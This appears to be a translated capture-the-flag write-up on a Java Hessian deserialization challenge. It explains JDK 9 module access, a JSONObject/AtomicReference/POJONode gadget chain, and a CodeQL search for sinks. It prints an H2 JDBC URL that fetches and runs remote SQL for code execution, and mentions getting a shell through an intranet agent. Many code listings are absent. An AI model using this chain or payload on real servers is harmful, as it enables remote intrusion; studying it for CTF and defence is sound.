Official wp:https://xz.aliyun.com/t/14190
Jdk9 module
The module mechanism appears in dk9:https://zhuanlan.zhihu.com/p/640217638。
in conclusion:
The scope of Java API is divided into methods, classes, packages and modules (highest). The module contains a lot of basic information:
- name
- Dependencies on other modules
- Open API (others are internal to the module and cannot be accessed)
- Services used and provided
Each module will have a module-info.java file, such as the module where TemplatesImpl is located:
java.xml is the name of the module, not necessarily the same as the package name.
Exports indicates which packages of the current module can be accessed externally. A bit like nodejs.
exports…to means specifying which packages can only access the package.
Classes under the same module can access each other.
The package where TemplatesImpl is located has not been exported, so we cannot access it.
–add-opens
By adding the VM Option when the program is running, you can access modules that are otherwise inaccessible. grammar:--add-opens (module)/(package)=module
,like:--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED
, meaning that a certain package under this module is open to all unnamed modules.Generally, classes without module information are inunnamed module @ xxxxx
Down.
setAccessible
This is what you must use to set private properties, but in jdk9, there is an additional one in setAccessible to check access permissions.
To sum up, the following situations are Accessible:
- The current module is the same as the visited module
- The current module is java.base
- The visited module is an unnamed module
- class is public and package is exported to caller
- member is public
- member is protected-static
- package is open to caller
Deserialization
Deserialization class, not affected by module.
For example, add –add-opens to serialize XString in the first run and write it to a file. When running for the second time, without adding –add-opens, the file is read and the deserialization is successful.
hessian deserialization
This is also an important piece of content.
Core utilization method: When the outermost deserialized object is a map, the put method of the map will be called.
Therefore, gadgets triggered by put can be used, such as the following two, both of which function put->toString.
HashMap+XString。
HashMap+HotSwappableTagetSource+XString
But this question is not an ordinary hessian question
There is a blacklist
XString is also included.
h2 jdbc attack
h2 database, if this sql statement can be executed, it can be rce.
When the url of the jdbc connection is specified as this, the remote sql statement will be loaded and then executed.
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
Let’s take an example:
pom file
main
Just run it to play the calculator.
Observe main. There is no import h2 dependent package. Can this dependency be removed?
PooledDSFactory is a class used to initiate database connections in hutool dependencies, and a driver is required for connection. The driver is placed in h2 dependency.
Therefore, after removing the h2 dependency, it will prompt that the driver cannot be found.
JSONObject
cn.hutool.json.JSONObject。
This class is a map. Value.toString will be triggered when put(key,value), but value must be a java internal class.
The put method will enter here.
Then enter wrap.
You can see that triggering toString is also conditional, that is, it must be a Java internal class.
AtomicReference
java.util.concurrent.atomic.AtomicReference
The toString method of this class will call the toString of its own value attribute.
POJONode properties
it is knownjackson#toString
you can call the getter, but the return value of the getter, if it is an object, will continue to call the getter of the object.
existBeanPropertyWriter#serializeAsField
the first line is to call the getter, and the return value of the getter is value
Still using this method, if you continue going down, you will reach here, and the value is passed in:
Keep following upserializeFields
In this method, prop is an attribute of the object, not necessarily a member variable. If there is a getA method, but there is no A attribute, A will also be included in the prop.
The next step is to enter the prop's serializeAsField, and then continue to call the getter. Note that the getter at this time is already the getter of value.
ClassPathXmlApplicationContext
Take a look at the official wp:https://xz.aliyun.com/t/14190
Call chain:JSONObject.put -> AtomicReference.toString -> POJONode.toString -> Bean.getObject -> DSFactory.getDataSource -> Driver.connect
When I first started reading, I had a few questions:
1. The –add-opens parameter is added when running locally to access classes that are originally inaccessible. However, when running remotely, there is no way to add them remotely. Does it mean that these classes cannot be accessed remotely?
2. This is added to the dockerfile of the question:--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED
, the purpose is to allow the current module to access other modules. But other classes, such as POJONode, are also in other modules. Why can they be deserialized normally without adding them?
3. Why are there multiple calls between JSONObject and POJONode?AtomicReference#toString
。
4. Write PooledDSFactory directly into the bean. In this case, the readObject of PooledDSFactory is called. According to my understanding, PooledDSFactory should be covered with another layer of readObject->toString->getter, and then inserted into the bean.
Regarding the second point, Hessian will call setAccessible when deserializing and restoring attributes. Since the module of AtomicReference is java.base, it is originally inaccessible, so –add-opens must be added. For other classes such as POJONode, the module is an unnamed module, setAccessible can pass, and deserialization does not check the module, so it is okay not to add it.
All other questions can be answered above.
Also, when you generate the payload locally, you can spit out base64, but there will be exceptions, but it does not affect it.
sink point search
First of all, you need to know what are the RCE methods in Java.
- Runtime.getRuntime().exec
- new ProcessBuilder(“”).start()
- method#invoke, method and parameters are controllable
- Remote class loading URLClassLoader#loadClass
- There is TemplatesImpl in jdk8, but it disappears after jdk9.
- High version JDNI and BeanFactory
- Any class instantiation
When I read this question, I didn’t expect arbitrary class instantiation. Use codeql to check the jooq package. There is no Runtime, no ProcessBuilder, some loadClass and method#invoke, but they are uncontrollable. So we can only consider whether the jooq package has rce that is similar to jdbc and is not within the above range, such as h2 used by the agent.
But in fact, new ClassPathXmlApplicationContext can be used. When pop asked me to use codeql to search for the newInstance method, I remembered this rce method. (The first contact was inpgsql jdbc attack)
codeql mining
Check newInstance first
Then we need to find the path of the getter to reach this newInstance.
There are not many results, and you can find the correct one by combining it with hand screening, that isConvertedVal#getValue -> ConvertAll#from
it can be seen from the name that the functions are very similar.
chain structure
Then just fill in the chain in the middle
bean.xml
This is acceptable
This doesn't work, I don't know why.
The server is on the internal network and needs to be called through an agent. This step is quite troublesome. The only way I can think of is to write the file after agent getshell and set up an agent to connect to the intranet. After I tried it, I had a little trouble, so I followed the official instructions.
The official wp directly executes the java code when the agent obtains poc.sql
Reproduction successful.
GIPHY App Key not set. Please check settings